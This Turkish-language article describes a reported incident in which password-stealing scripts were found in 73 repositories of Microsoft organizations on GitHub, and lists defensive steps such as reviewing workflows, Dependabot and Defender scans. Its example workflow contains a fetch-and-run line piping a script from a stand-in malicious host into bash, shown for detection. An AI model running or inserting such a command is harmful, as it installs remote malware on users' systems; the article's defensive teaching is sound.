Sorun Tanımı
GitHub, Microsoft’un resmi organizasyonlarında barındırılan 73 adet deponun, parola çalma amacıyla tasarlanmış kötü amaçlı yazılımlar içerdiğini tespit etti. Bu depolar, Azure, microsoft, Azure-Samples ve MicrosoftDocs organizasyonlarına ait olup, sürekli entegrasyon (CI) pipeline’larının bozulmasına neden oldu. Saldırı, depolara yerleştirilen kötü amaçlı komut dosyaları aracılığıyla gerçekleşti ve kullanıcıların kimlik bilgilerini çalmayı hedefledi.
Neden ve Etkileri
Saldırının Arka Planı
GitHub, Microsoft’un resmi organizasyonlarında yer alan depoların, üçüncü taraf kullanıcılar tarafından kötüye kullanıldığını ve bu depolara zararlı kodların eklendiğini belirtti. Saldırı, depoların otomatik olarak çalıştırılan pipeline’ları aracılığıyla yayıldı ve kullanıcıların yerel sistemlerinde parola çalma yazılımlarının çalışmasına neden oldu.
Etkileri
- CI/CD Pipeline’larının Bozulması: Microsoft’un CI/CD pipeline’ları, kötü amaçlı komut dosyaları nedeniyle başarısız oldu ve bu da geliştirme süreçlerinde gecikmelere yol açtı.
- Güvenlik Riski: Kullanıcıların yerel sistemlerinde parola çalma yazılımlarının çalışması, hassas verilerin sızdırılmasına neden olabilir.
- Marka Güvenilirliğinin Zedelenmesi: Microsoft’un resmi depolarında yer alan kötü amaçlı yazılımlar, şirketin güvenilirliğini olumsuz etkiledi.
Çözüm Adımları
1. GitHub Tarafından Alınan Önlemler
- Depoların Devre Dışı Bırakılması: GitHub, Microsoft’un ilgili organizasyonlarında yer alan 73 deponun erişimini kısıtladı ve bu depoları devre dışı bıraktı.
- Kötü Amaçlı Kodların Temizlenmesi: Microsoft, depolarda bulunan kötü amaçlı komut dosyalarını ve zararlı kodları tespit ederek temizledi.
- Pipeline’ların Yeniden Yapılandırılması: CI/CD pipeline’ları, güvenlik açıklarını gidermek amacıyla yeniden yapılandırıldı.
2. Kullanıcıların Alması Gereken Önlemler
- Depoların Kontrol Edilmesi:
Kullanıcıların, Microsoft’un resmi organizasyonlarında yer alan depoları kullanmadan önce güvenlik kontrollerini yapmaları önemlidir. Özellikle, otomatik olarak çalıştırılan pipeline’larda yer alan komut dosyalarının incelenmesi gerekmektedir.
# Depoları klonlayın ve yerel olarak inceleyin git clone https://github.com/microsoft/repo-name.git cd repo-name ls -la - Güvenlik Politikalarının Uygulanması:
Kullanıcıların, depolarında güvenlik politikalarını uygulamaları ve otomatik olarak çalıştırılan komut dosyalarını denetlemeleri gerekmektedir. Örneğin, GitHub Actions kullanıyorsanız, workflow dosyalarını inceleyin ve güvenilir olmayan kaynaklardan gelen komut dosyalarını engelleyin.
# GitHub Actions workflow dosyasını inceleyin cat .github/workflows/workflow.yml - Çift Doğrulama ve İzleme:
Depolarda yapılan değişikliklerin izlenmesi ve çift doğrulama yapılması, güvenlik açıklarının tespit edilmesine yardımcı olabilir. Örneğin, GitHub Dependabot kullanarak bağımlılıkların güvenlik açıklarını tespit edebilirsiniz.
# GitHub Dependabot’u etkinleştirin # Repository → Settings → Security → Code security and analysis # Dependabot’u etkinleştirin - Kötü Amaçlı Yazılımların Tespiti:
Kullanıcılar, yerel sistemlerinde parola çalma yazılımlarının varlığını tespit etmek için güvenlik yazılımlarını kullanmalıdır. Örneğin, Windows Defender veya üçüncü taraf antivirüs yazılımları kullanarak sistemleri tarayabilirsiniz.
# Windows Defender ile sistem taraması yapın # Windows PowerShell kullanarak: Get-MpThreatDetection | Select-Object -Property ThreatName, InitialDetectionTime
3. Geliştiricilerin ve Kuruluşların Uygulayabileceği En İyi Uygulamalar
- Güvenilir Kaynaklardan Depo Kullanımı:
Resmi organizasyonlarda yer alan depoları kullanırken, güvenilir kaynaklardan geldiğinden emin olun. Özellikle, üçüncü taraf kullanıcılar tarafından oluşturulan depoların güvenilirliğini doğrulayın.
- Pipeline Güvenliği:
CI/CD pipeline’larının güvenliğini sağlamak için, aşağıdaki adımları uygulayın:
- Pipeline’larda kullanılan komut dosyalarını inceleyin ve güvenilir olmayan kaynaklardan gelen komut dosyalarını engelleyin.
- Pipeline’larda yer alan gizli bilgileri (örneğin, API anahtarları) korumak için GitHub Secrets kullanın.
- Pipeline’larda yer alan bağımlılıkların güvenlik açıklarını tespit etmek için GitHub Dependabot kullanın.
# GitHub Secrets kullanarak gizli bilgileri koruyun # Repository → Settings → Secrets and variables → Actions # Yeni bir secret ekleyin - Eğitim ve Farkındalık:
Geliştiricilerin ve kullanıcıların, siber güvenlik konusunda eğitilmesi ve farkındalığın artırılması önemlidir. Özellikle, parola çalma yazılımları ve diğer kötü amaçlı yazılımlar hakkında bilgi sahibi olunması gerekmektedir.
- İzleme ve Uyarılar:
Depolarda yapılan değişikliklerin izlenmesi ve güvenlik açıklarının tespit edilmesi için izleme sistemleri kullanın. Örneğin, GitHub Advanced Security kullanarak depolarda yer alan güvenlik açıklarını tespit edebilirsiniz.
Örnek Senaryo: Kötü Amaçlı Bir Komut Dosyasının Tespiti
Aşağıda, bir kullanıcının GitHub Actions workflow dosyasında yer alan kötü amaçlı bir komut dosyasını nasıl tespit edebileceğine dair bir örnek bulunmaktadır:
# Örnek workflow dosyası (kötü amaçlı komut dosyası içeriyor)
name: CI
on:
push:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run malicious script
run: |
curl -s https://malicious-site.com/malware.sh | bash
# Yukarıdaki komut, yerel sistemde parola çalma yazılımını çalıştırıyor
Tespit ve Çözüm:
- Workflow dosyasını inceleyin ve şüpheli komut dosyalarını tespit edin.
- Kötü amaçlı komut dosyalarını çalıştırmadan önce, güvenilirliğinden emin olun.
- Güvenilir olmayan kaynaklardan gelen komut dosyalarını engelleyin ve yerini güvenilir komut dosyalarıyla değiştirin.
Sonuç
GitHub üzerindeki Microsoft depolarında yer alan parola çalma yazılımları, sürekli entegrasyon pipeline’larının bozulmasına ve kullanıcıların güvenliğinin tehlikeye atılmasına neden oldu. Bu saldırı, geliştiricilerin ve kuruluşların, depolarında ve pipeline’larında güvenlik açıklarını tespit etmeleri ve gidermek için gerekli önlemleri almaları gerektiğini göstermektedir. Kullanıcıların, depolarını ve pipeline’larını düzenli olarak incelemeleri, güvenlik politikalarını uygulamaları ve güvenilir kaynaklardan gelen komut dosyalarını kullanmaları önemlidir.



